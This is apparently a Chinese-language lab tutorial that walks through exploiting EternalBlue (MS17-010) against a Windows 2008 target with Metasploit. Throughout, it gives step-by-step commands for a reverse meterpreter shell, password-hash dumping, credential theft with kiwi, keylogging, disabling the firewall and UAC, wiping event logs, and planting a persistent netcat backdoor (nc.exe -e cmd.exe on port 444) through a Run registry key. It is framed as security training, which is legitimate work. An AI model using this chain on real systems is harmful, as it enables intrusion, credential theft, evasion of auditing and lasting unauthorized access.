永恒之蓝(eternalblue)
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
1、漏洞利用
第一步:在kali中使用nmap 扫描win-2K8 靶机
1)通过nmap 扫描,我们发现: 目标主机开放了445端口 2)445是共享端口—windows SMB 共享服务使用的端口 3)而且我们还清楚,永恒之蓝这个漏洞,针对的就是windows SMB 服务,针对的就是445 端口 4)所以,既然目标服务器开放445端口,我们就可以尝试利用永恒之蓝这个漏洞对目标服务器进行扫描和探测 5)当然,我们还可以进一步去做漏洞扫描,用nessus 工具对目标服务器进行漏扫 6)通过nessus 我们也发现目标服务器上存在永恒之蓝这个漏洞
7)所以我们就可以去msf 这个工具中,查找和永恒之蓝这个漏洞相关的攻击或者辅助的脚本
- 第二步: 脚本查找
msf6 > search ms17-010 1 auxiliary/scanner/smb/smb_ms17_010 //辅助扫描脚本(smb) 2 exploit/windows/smb/ms17_010_eternalblue //攻击脚本(永恒之蓝)
- 第三步:漏洞扫描
msf6 > use 1 msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.145 msf6 auxiliary(scanner/smb/smb_ms17_010) > run msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 192.168.10.145:445 - Host is likely VULNERABLE to MS17-010! //容易遭受ms17-010的攻击
- 第四步: 漏洞利用,创建反弹连接
msf6 auxiliary(scanner/smb/smb_ms17_010) > back msf6 > use 2 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.145 msf6 exploit(windows/smb/ms17_010_eternalblue) > run meterpreter >
- 第五步:meterpreter环境中,操作远程资源
meterpreter > pwd //查看远程目录位置 meterpreter > cd c:/users //切换到c盘下的users meterpreter > ls //列出当前远程目录下的文档资源 meterpreter > dir //列出当前远程目录下的文档资源(和ls 命令作用相同) meterpreter > edit a.txt //创建并编辑文件a.txt meterpreter > cat a.txt //查看a.txt 文件内容 meterpreter > del a.txt //删除a.txt文件 meterpreter > mkdir ntd2111 //创建新目录 meterpreter > rmdir ntd2111 //删除目录 meterpreter > lpwd //查看在kali本机的目录 meterpreter > lcd /root/桌面 //在本地主机kali中,将当前目录切换到 /root/桌面 meterpreter > mkdir gaga //在靶机win2008的当前目录users下创建目录abc meterpreter > upload /etc/passwd c:/users/gaga //将kali 中的文件/etc/passwd 上传到靶机win2008的指定的gaga目录 meterpreter > ls abc 备注:可以回到windows-2008 c:/users/ 下手动创建jmwj.txt meterpreter > download jmwj.txt //从靶机win2008中下载文件jmwj.txt 到kali 主机的当前目录 meterpreter > download jmwj.txt /opt/ //从靶机win2008中下载文件jmwj.txt 到kali 主机的指定目录/opt
- 第六步:获取密码
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b 复制第四部分到网站查询 [https://cmd5.com/](https://cmd5.com/)
- 第七步:获取用户信息
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
- 第八步:通过 kiwi 模块获取用户口令
meterpreter > load kiwi //加载kiwi meterpreter > help kiwi //kiwi使用帮助 meterpreter > creds_all //检测所有凭证,该命令可以列举系统中的明文密码 kiwi模块,后渗透阶段的一款利器,内网渗透的一块利器, windows 密码抓取神器、拥有提权、抓取凭证密码、很多功能,我们今天主要使用进程迁移和密码抓取
- 第九步:屏幕共享和屏幕截图
meterpreter > screenshot //屏幕截图 meterpreter > screenshare //屏幕共享,按快捷键Ctrl + C停止
- 第十步:键盘记录
1) 查看我们当前的用户识别码、进程识别码、查看当前用户权限
meterpreter > getuid //查看用户识别码 meterpreter > getpid //查看进程识别码 meterpreter > getprivs //查看当前用户权限 meterpreter > ps //查看进程列表 meterpreter > ps ============ 进程号 应用程序的名字 用户 PID Name User --- ---- ---- 1048 spoolsv.exe NT AUTHORITY\**SYSTEM** 1504 taskhost.exe VAGRANT-2008R2\Administrator
- 第十一步:进程迁移
将 SYSTEM 权限 迁移为 Administrator
meterpreter > ps //查看进程 meterpreter > migrate 1504 //进程迁移 meterpreter > getuid //确认迁移后的用户识别码 备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁移
meterpreter >ps
第二:做进程迁移,迁移到administrator 用户权限
meterpreter >migrate 1504(实验过程中,已实际进程号为准)
第三:确认用户权限
meterpreter > getuid
第四:开启键盘记录
meterpreter > keyscan_start //开启键盘记录
第五:在win-2008中拼命疯狂的敲键盘
第六:回到kali 验证:
meterpreter > keyscan_dump //导出键盘记录
方法2:利用后渗透脚本开启键盘记录
第一:先查看进程
meterpreter >ps
第二:做进程迁移,迁移到administrator 用户权限
meterpreter >migrate 1504(实验过程中,已实际进程号为准)
第三:确认用户权限
meterpreter > getuid
第四:开启键盘记录后渗透脚本
meterpreter > run post/windows/capture/keylog_recorder
第五:在 win2k8 打开记事本,输入任意内容
第六:在 kali 检查是否成功记录
打开新的终端,执行命令检查文件 [root]# cat /root/.msf4/loot/20211226174349_default_192.168.10.145···········
- 第十三步: 防火墙配置
meterpreter > shell C:\Windows\system32> chcp 65001 //解决中文乱码,切换为英文格式
备注windows新版本命令:
1)查看防火墙当前状态
C:\Windows\system32> netsh advfirewall show currentprofile state
2)关闭防火墙
C:\Windows\system32> netsh advfirewall set allprofiles state off
3) 开启防火墙
C:\Windows\system32> netsh advfirewall set allprofiles state on
4)添加防火墙入站规则,放行3333端口
C:\Windows\system32> netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=3333 高级防火墙 防火墙 添加 规则 名字 入站 动作 允许 协议 本地端口 //添加入站规则,规则名称:test , 协议:tcp 端口:3333 备注:1024之前的端口号,不要用,为什么,因为那些端口号,都已经有主了
- 第十四步: 关闭UAC
UAC:User Account Control
- 用户帐户控制-是windows操作系统中一种安全控制机制
- 使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序,防止系统损坏
win2k8 检查 UAC 状态
运行中输入 msconfig,
默认用户账户是关闭的,我们可以先打开
ADD 添加一个注册表项 -v 创建键值 -t 键值类型 -d 键值的值 1开/0关
-f 不用提示就强行覆盖现有注册表项
在 meterpreter >进入shell 运行命令, 使win2008添加注册表项,关闭用户账户
c:\windows\system> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- 第十五步:在meterpreter 下清除日志
meterpreter > clearev //擦除windows 事件查看器 [*] Wiping 1146 records from Application... //擦除1146应用日志 [*] Wiping 3288 records from System... //擦除3288系统日志 [*] Wiping 2669 records from Security... //擦除2669 安全日志
备注:虽然清除 很多日志,但是你擦除日志的这条日志被保留了
2、持久性后门-nc 瑞士军刀 著名后门程序
- 第一步:上传后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe c:/windows/system32
1)查看上传结果及权限
meterpreter > cd c:/windows/system32 meterpreter > ls nc.exe
- 第二步:在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
第一:添加键值nc
meterpreter > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
备注:用注册表告诉win-2008这个系统,让nc.exe程序开机自启动
- 第二:查询有没有nc这个键值,确认是否添加成功
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Values (3): VMware VM3DService Process VMware User Process nc //新增的注册表
- 第三:查询 NC键值的详细数值内容
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe
备注:在win-2008验证:有键值,有键值内容
![](https://secure2.wostatic.cn/static/9x17M9vUpdEinV6sP5ophK/1640543114(1).png)
- 第三步:重启win-2008
备注:重启win-2008 验证,是否能开机自动启动
验证:验证靶机上的444端口是否开启
meterpreter >shell C:\Windows\system32> netstat -an C:\Windows\system32> netstat -an | findstr "444"
备注:验证2008系统中的444端口是否开启,如果开启证明,nc这个程序以及开机自动运行了,如果没有444这个端口,就代表能nc程序没能成功运行
- 第四步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell C:\Windows\system32> netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
- 第五步:后门接入
在 kali 连接 win2k8
在kali 中打开一个新的终端
[root] nc 192.168.10.145 444 C:\Windows\system32>
- 第六步:清楚痕迹
验证:在事件查看器里面看到的是administrator 的登录信息,可以清空日志
C:\Windows\system32> wevtutil el //列出日志名称 C:\Windows\system32> wevtutil cl application //清除应用程序日志 C:\Windows\system32> wevtutil cl security //清除安全日志 C:\Windows\system32> wevtutil cl system //清除系统日志
- 常见错误排错:
如果无法连接到后门程序
第一步:可以在kali 中检查端口状态
meterpreter >shell C:\Windows\system32> netstat -an C:\Windows\system32> netstat -an | findstr ":444" ``` 第二步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell C:\Windows\system32> netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444